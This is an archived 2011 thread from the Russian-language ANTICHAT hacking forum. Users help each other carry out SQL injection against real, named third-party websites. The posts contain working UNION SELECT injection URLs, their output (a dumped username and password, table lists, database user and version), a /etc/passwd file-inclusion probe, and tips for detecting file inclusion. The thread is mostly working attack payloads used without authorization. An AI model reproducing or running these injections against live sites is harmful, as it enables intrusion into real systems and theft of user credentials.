ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
23.05.2011, 17:10
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от kartes1984
kartes1984 said:
проблема в следуйщем не могу вывести нужные колонки
http://www.gideons.com.my/news_process.php?id=-1+union+select+1,2,concat%28userid,0x3b,password%2 9,4,5+from+plus_signup+--
в чем ошибка
http://www.gideons.com.my/news_process.php?id=-1+union+select+1,2,concat%28userid,0x3b,password%2 9,4,5+from+test_db.plus_signup+--
jeff;123456
|
|
|
23.05.2011, 17:19
|
|
Guest
Сообщений: n/a
Провел на форуме:
7865
Репутация:
0
|
|
Сообщение от None
ЧПУ (человеко понятные ссылки)
"У" ?
|
|
|
|
23.05.2011, 17:21
|
|
Новичок
Регистрация: 02.11.2009
Сообщений: 0
Провел на форуме:
5743
Репутация:
0
|
|
"урлы" - урл - URL
|
|
|
|
23.05.2011, 17:34
|
|
Guest
Сообщений: n/a
Провел на форуме:
262707
Репутация:
935
|
|
Сообщение от XAMEHA
XAMEHA said:
Но кроме этого, mod_rewrite может поддерживать передачу цифр, а так называемый обход ЧПУ позволит подставлять всё что угодно, так что надеться на это не нужно и фильтровать данные в любом случае. Яркий пример - DLink.
ммм... как это: "mod_rewrite может поддерживать передачу цифр"?
mod_rewrite это модуль, который преобразует урл по правилам прописанными в директиве RewriteRule, и передаваться могут те символы, которые указаны в правиле.
так же может использоваться как mod_rewrite так и самопальный роутер на php
вариантов масса, и как таковой "обход ЧПУ", это очень смутный вид/метод атаки (если это можно так назвать)
получаемые данные, они на то и получаемые данные, что их можно модифицировать, и если их не фильтровать, безопасность сайта находится под угрозой, а каким способом они будут передаваться разницы нет, будь то _GET, _POST, _COOKIE, _SESSION, преобразованные из URL методами mod_rewrite или роутером.
|
|
|
|
23.05.2011, 18:56
|
|
Guest
Сообщений: n/a
Провел на форуме:
2504
Репутация:
0
|
|
не получается просмотреть таблицы
http://www.gideons.com.my/news_process.php?id=-1+union+select+1,2,3,group_concat%28table_name%29, 5+FROM+information_schema.tables+WHERE+table_schem a=0x7765626d6e675f70726f64756374
база данных webmng_product
|
|
|
|
23.05.2011, 19:19
|
|
Guest
Сообщений: n/a
Провел на форуме:
262707
Репутация:
935
|
|
Код:
Code:
http://www.gideons.com.my/news_process.php?id=(0)union/*!all*/select(1),2,3,group_concat(table_name,0x3a,column_name+separator+0x3c62723e),(5)from(information_schema.columns)where(table_schema=0x7765626D6E675F70726F6475637473)--+
|
|
|
|
23.05.2011, 20:22
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от kartes1984
kartes1984 said:
не получается просмотреть таблицы
http://www.gideons.com.my/news_process.php?id=-1+union+select+1,2,3,group_concat%28table_name%29, 5+FROM+information_schema.tables+WHERE+table_schem a=0x7765626d6e675f70726f64756374
база данных webmng_product
http://www.gideons.com.my/news_process.php?id=-1+union+select+1,2,group_concat(0x0b,table_name),4 ,5+from+information_schema.tables+where+table_sche ma=0x7765626d6e675f70726f6475637473+--+
gallery,
gallery_group,
news,
product_category,
products_detail
|
|
|
|
23.05.2011, 22:16
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Подскажите, есть ли здесь инклуд?
Сообщение от None
http://www.worldbusinesslisting.org/chinese/index.php?cat=/etc//passwd&subcat=7392&page=3
|
|
|
|
23.05.2011, 22:49
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от FlaktW
FlaktW said:
Подскажите, есть ли здесь инклуд?
незнаю как там с инклудом, но скуль есть:
Сообщение от None
http://www.worldbusinesslisting.org/chinese/index.php?category=-39+union+select+1,2,concat_ws(0x3a,user(),version( ),database()),4,5--
worldbus_diego@192.168.2.7:5.0.92-community:worldbus_chinese
|
|
|
|
23.05.2011, 23:00
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от FlaktW
FlaktW said:
Подскажите, есть ли здесь инклуд?
Нету там инклюда.
А вообще определить есть ли инклюд или нету можно так:
Попробуй перед значением подставить: ./или /Если контент не изменился, то вполне возможно что инклюд.
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Если примерна такая картинка, то инклюд есть.
Это не беря в расчет всякие там филтры, которые могут обрезать "/" и т.д..
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
